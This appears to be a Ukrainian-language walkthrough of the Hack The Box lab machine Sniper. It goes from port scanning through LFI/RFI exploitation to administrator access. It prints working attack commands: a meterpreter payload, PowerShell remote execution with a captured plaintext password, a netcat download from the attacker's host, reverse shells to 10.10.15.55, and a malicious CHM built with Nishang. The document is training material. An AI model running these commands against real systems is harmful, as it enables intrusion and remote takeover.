Якщо ви цікавитеся тестуванням на проникнення або хочете вдосконалити свої навички етичного хакінгу, проходження віртуальної машини Sniper на платформі Hack The Box стане для вас чудовим викликом. У цій статті ми детально розглянемо весь процес: від етапу розвідки (Recon) до ескалації привілеїв до рівня адміністратора.
Продовження публікації рішень задач, відправлених на доробку з майданчика HackTheBox. Цей матеріал може стати в пригоді для тих, хто прагне розвиватися у сфері інформаційної безпеки. У статті розглядається експлуатація RFI, обхід блокування оболонки meterpreter та створення шкідливого документа CHM.
Підключення до лабораторії здійснюється через VPN. Рекомендується уникати використання робочого комп’ютера чи пристроїв із важливими даними, оскільки підключення відбувається до приватної мережі, де перебувають досвідчені фахівці з інформаційної безпеки.
Ця машина має IP адресу 10.10.10.151, яку додаємо в /etc/hosts.
10.10.10.151 sniper.htb
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.151 --rate=1000
Тепер для отримання більш детальної інформації про послуги, що працюють на портах, запустимо сканування з опцією -А.
nmap -A sniper.htb -p80,135,139,445
На хості відкрито 4 порти, дізнаємося, що нам може дати веб-сервер.
Перші три посилання порожні, а ось два інші привели на сторінки блогу та авторизації.
Припущення підтвердилося — виявлено LFI (Local File Inclusion).
Окрім цього, є шанс перевірити можливість використання RFI (Remote File Inclusion). Для цього створюється тестовий файл, який буде використовуватися для подальшого дослідження вразливості.
Для розгортання локального SMB-сервера SAMBA необхідно внести відповідні конфігурації до файлу /etc/samba/smb.conf
. У конфігурації потрібно вказати шлях до потрібної директорії та надати дозволи для доступу від імені гостя.
Запускаємо службу smbd.
service smbd start
І, звернувшись до ресурсу, отримаємо позитивний результат.
Тепер кидаємо навантаження. Створимо її за допомогою msfvenom, потім активуємо листенер.
Звертаємось до файлу. І отримуємо підключення.
Оскільки на сайті є сторінка авторизації, існує можливість знайти хоча б якісь облікові дані. Поточне розташування — директорія сторінки blog.
Завантажуємо все, що є в директорії user.
Під час перегляду всіх файлів на локальному хості були виявлені облікові дані для підключення до бази даних.
Для визначення користувачів у системі було спробовано виконати відповідні команди. Однак під час виконання будь-якої команди через meterpreter з’єднання переривається. Це може свідчити про блокування командного процесора cmd, зокрема параметра (-a)
.
execute -f powershell -a "net users" -i -H
А тепер спробуємо виконати команду в контексті даного користувача. Для цього як параметр передамо наступний скриптик в powershell.
execute -f powershell -a "$username = 'SNIPER\Chris' ; $password = '36mEAhz/B8xQ~2VM' ; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force ; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword ; Invoke-command -computername SNIPER -credential $credential -scriptblock { whoami }" -i -H
Завантажимо на хост netcat. Для цього в директорії з ним запустимо сервер HTTP.
python3 -m http.server 80
Виконаємо завантаження.
execute -f powershell -a "$username = 'SNIPER\Chris' ; $password = '36mEAhz/B8xQ~2VM' ; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force ; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword ; Invoke-command -computername SNIPER -credential $credential -scriptblock { iwr 10.10.15.55/nc -o C:\\Users\\Chris\\Documents\\nc.exe }" -i -H
Тепер запускаємо у себе netcat, виконуємо підключення та отримуємо сесію користувача.
execute -f powershell -a "$username = 'SNIPER\Chris' ; $password = '36mEAhz/B8xQ~2VM' ; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force ; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword ; Invoke-command -computername SNIPER -credential $credential -scriptblock { C:\\Users\\Chris\\Documents\\nc.exe -e powershell 10.10.15.55 6543}" -i -H
Після деякого огляду директорій було виявлено файл у форматі CHM. Його призначення на даному етапі залишається незрозумілим.
У папці Docs на диску C: виявлено записку, у якій зазначено, що користувач не має навичок роботи з PHP і повинен підготувати документацію. Документи мають бути залишені в цій самій папці.
Для створення шкідливого CHM-файлу спочатку встановлюється HTML Help Workshop, а далі використовується утиліта Out-Chm з пакету Nishang для генерації необхідного файлу.
Out-CHM -Payload "C:\\Users\\Chris\\Documents\\nc.exe -e powershell 10.10.15.55 8765" -HHCPath "C:\Program Files (x86)\HTML Help Workshop"
Збереження створеного файлу у цільову директорію на віддаленому хості завершується успішно.
wget http://10.10.15.55/doc.chm -o C:\Docs\doc.chm
У результаті отримано сесію з правами адміністратора.
У статті описано проходження віртуальної машини Sniper на платформі Hack The Box, включаючи виявлення та використання вразливостей LFI та RFI, обхід блокування командного інтерпретатора та створення шкідливого CHM-файлу для ескалації привілеїв. Матеріал підкреслює важливість належного захисту серверів, налаштування доступу до файлів і перевірки безпеки веб-додатків.